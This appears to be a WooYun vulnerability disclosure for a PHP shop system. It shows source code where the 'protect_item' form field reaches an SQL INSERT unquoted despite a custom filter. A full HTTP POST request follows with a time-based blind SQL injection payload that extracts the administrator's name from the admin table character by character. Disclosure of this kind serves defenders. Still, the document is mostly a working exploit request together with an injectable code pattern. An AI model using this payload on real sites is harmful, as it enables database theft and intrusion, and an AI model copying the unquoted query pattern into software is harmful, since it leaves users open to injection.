WooYun.org

无关代码
// 处理post变量
$order_id = intval(get_args('id'));
$protect_content = big_check(get_args('protect_content'));
$protect_item = short_check(get_args('protect_item'));
$ask_service = big_check(get_args('ask_service'));
//数据库操作
dbtarget('r',$dbServs);
$dbo = new dbex();
//判断商品是否锁定，锁定则不许操作
$sql = "select b.goods_id from $t_order_info as a join $t_order_goods as b on a.order_id=b.order_id where a.order_id=$order_id";
$row = $dbo->getRow($sql);
if($row){
	$goods_id=$row['goods_id'];
}
include("foundation/fgoods_locked.php");
//判断用户是否锁定，锁定则不许操作
$sql = "select locked from $t_users where user_id=$user_id";
$row = $dbo->getRow($sql);
if($row['locked']==1){
	session_destroy();
	trigger_error($m_langpackage->m_user_locked);//非法操作
}
//判断订单是否存在，锁定则不许操作
$order_info = get_order_info($dbo,$t_order_info,$t_order_goods,$t_goods,$t_shop_info,$order_id,$user_id);
if(!$order_info) {
	action_return(0,$m_langpackage->m_noex_thisorder);
}
//判断订单状态，锁定则不许操作
if($order_info['order_status']=='0') 
{
	action_return(0,$m_langpackage->m_order_cancel);
} 
elseif ($order_info['order_status']!='3') 
{
	action_return(0,$m_langpackage->m_not_sure_receiv);
}
//数据库操作
dbtarget('w',$dbServs);
$dbo = new dbex();
$add_time = $ctime->long_time();
$status = 0;
//是否申请客服介入
if($ask_service == $m_langpackage->m_ask_service)
	$status = 2;
//插入维权信息
$sql = "insert into `$t_protect_rights` (order_id,protect_item,user_id,user_type,shop_id,content,protect_date,status) values($order_id,$protect_item,$user_id,0,{$order_info['shop_id']},'$protect_content','$add_time',$status)";
if($dbo->exeUpdate($sql)) 
{	
	//修改订单维权状态
	if(!$order_info['protect_status'])
	{
		$sql = "update `$t_order_info` set protect_status = 1 where order_id='$order_id' and user_id='$user_id'";
		$dbo->exeUpdate($sql);
	}
	action_return(1,$m_langpackage->m_ask_protect_suc);
} 
无关代码

function short_check($str,$is_hex="") {
	$MaxSlen=300;//限制短输入项最多300个字符
	if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否打开
	{
		$str = addslashes($str);    // 进行过滤
	}
	$str = LenLimit($str,$MaxSlen);
	
	$str = str_replace("\'", "", $str);
	$str = str_replace("\\", "", $str);
	$str = str_replace("#", "", $str);
	$str = htmlspecialchars($str);
	if (empty($is_hex)) {
		$str = cleanHex($str);
	}
	return trim($str);
}

POST /do.php?act=user_protect_rights HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=poll_send
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1418653330;
 [email protected]; PHPSESSID=9ctcj0i474267fiirei2p8tpo5; iweb_iweb_login=pigtest1%40163.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 160
id=1&protect_content=&ask_service=&protect_item= (select if(ord(mid((select admin_name from 
imall_admin_user where admin_id=1 limit 0,1),1,1))=122,sleep(3),0))

无关代码
//判断订单状态，锁定则不许操作
if($order_info['order_status']=='0') 
{
	action_return(0,$m_langpackage->m_order_cancel);
} 
elseif ($order_info['order_status']!='3') 
{
	action_return(0,$m_langpackage->m_not_sure_receiv);
}
无关代码